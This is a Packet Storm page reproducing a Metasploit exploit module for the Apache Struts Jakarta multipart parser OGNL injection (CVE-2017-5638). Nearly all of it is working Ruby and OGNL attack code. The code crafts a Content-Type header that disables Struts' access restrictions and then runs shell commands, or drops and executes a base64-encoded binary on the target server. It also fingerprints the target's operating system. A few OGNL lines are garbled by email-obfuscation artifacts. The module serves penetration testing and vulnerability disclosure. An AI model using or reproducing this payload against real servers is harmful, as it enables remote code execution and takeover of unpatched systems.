Lucene search

K
packetstormEgyptPACKETSTORM:141630
HistoryMar 14, 2017 - 12:00 a.m.

Apache Struts Jakarta Multipart Parser OGNL Injection

2017-03-1400:00:00
egypt
packetstormsecurity.com
263

0.975 High

EPSS

Percentile

100.0%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',  
'Description' => %q{  
This module exploits a remote code execution vunlerability in Apache Struts  
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed  
via http Content-Type header.  
  
Native payloads will be converted to executables and dropped in the  
server's temp dir. If this fails, try a cmd/* payload, which won't  
have to write to the disk.  
},  
'Author' => [  
'Nike.Zheng', # PoC  
'Nixawk', # Metasploit module  
'Chorder', # Metasploit module  
'egypt', # combining the above  
'Jeffrey Martin', # Java fu  
],  
'References' => [  
['CVE', '2017-5638'],  
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']  
],  
'Privileged' => true,  
'Targets' => [  
[  
'Universal', {  
'Platform' => %w{ unix windows linux },  
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],  
},  
],  
],  
'DisclosureDate' => 'Mar 07 2017',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),  
]  
)  
register_advanced_options(  
[  
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])  
]  
)  
  
@data_header = "X-#{rand_text_alpha(4)}"  
end  
  
def check  
var_a = rand_text_alpha_lower(4)  
  
ognl = ""  
ognl << %q|(#[email protected]@getProperty('os.name')).|  
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|  
  
begin  
resp = send_struts_request(ognl)  
rescue Msf::Exploit::Failed  
return Exploit::CheckCode::Unknown  
end  
  
if resp && resp.code == 200 && resp.headers[var_a]  
vprint_good("Victim operating system: #{resp.headers[var_a]}")  
Exploit::CheckCode::Vulnerable  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
case payload.arch.first  
#when ARCH_JAVA  
# datastore['LHOST'] = nil  
# resp = send_payload(payload.encoded_jar)  
when ARCH_CMD  
resp = execute_command(payload.encoded)  
else  
resp = send_payload(generate_payload_exe)  
end  
  
require'pp'  
pp resp.headers if resp  
end  
  
def send_struts_request(ognl, extra_header: '')  
uri = normalize_uri(datastore["TARGETURI"])  
content_type = "%{(#_='multipart/form-data')."  
content_type << "(#[email protected]@DEFAULT_MEMBER_ACCESS)."  
content_type << "(#_memberAccess?"  
content_type << "(#_memberAccess=#dm):"  
content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."  
content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."  
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."  
content_type << "(#ognlUtil.getExcludedClasses().clear())."  
content_type << "(#context.setMemberAccess(#dm))))."  
content_type << ognl  
content_type << "}"  
  
headers = { 'Content-Type' => content_type }  
if extra_header  
headers[@data_header] = extra_header  
end  
  
#puts content_type.gsub(").", ").\n")  
#puts  
  
resp = send_request_cgi(  
'uri' => uri,  
'method' => datastore['HTTPMethod'],  
'headers' => headers  
)  
  
if resp && resp.code == 404  
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')  
end  
resp  
end  
  
def execute_command(cmd)  
ognl = ''  
ognl << %Q|(#[email protected]@getRequest().getHeader('#{@data_header}')).|  
  
# You can add headers to the server's response for debugging with this:  
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|  
#ognl << %q|(#r.addHeader('decoded',#cmd)).|  
  
ognl << %q|(#[email protected]@getProperty('os.name')).|  
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|  
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|  
ognl << %q|(#p.redirectErrorStream(true)).|  
ognl << %q|(#process=#p.start())|  
  
send_struts_request(ognl, extra_header: cmd)  
end  
  
def send_payload(exe)  
  
ognl = ""  
ognl << %Q|(#[email protected]@getRequest().getHeader('#{@data_header}')).|  
ognl << %Q|(#[email protected]@createTempFile('#{rand_text_alpha(4)}','.exe')).|  
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|  
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|  
ognl << %q|(#f.setExecutable(true)).|  
ognl << %q|(#f.deleteOnExit()).|  
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|  
  
# Using stuff from the sun.* package here means it likely won't work on  
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to  
# work and I don't see a better way of getting binary data onto the  
# system. =/  
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|  
ognl << %q|(#fos.write(#d)).|  
ognl << %q|(#fos.close()).|  
  
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|  
ognl << %q|(#p.start()).|  
ognl << %q|(#f.delete())|  
  
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))  
end  
  
end  
  
=begin  
Doesn't work:  
  
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|  
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|  
ognl << %q|(#[email protected]@getMethods(#c,'main',true).get(0)).|  
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|  
ognl << %q|(#m.invoke(null,null)).|  
  
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899  
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed  
#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6  
  
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0  
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5  
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed  
#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884  
  
=end  
`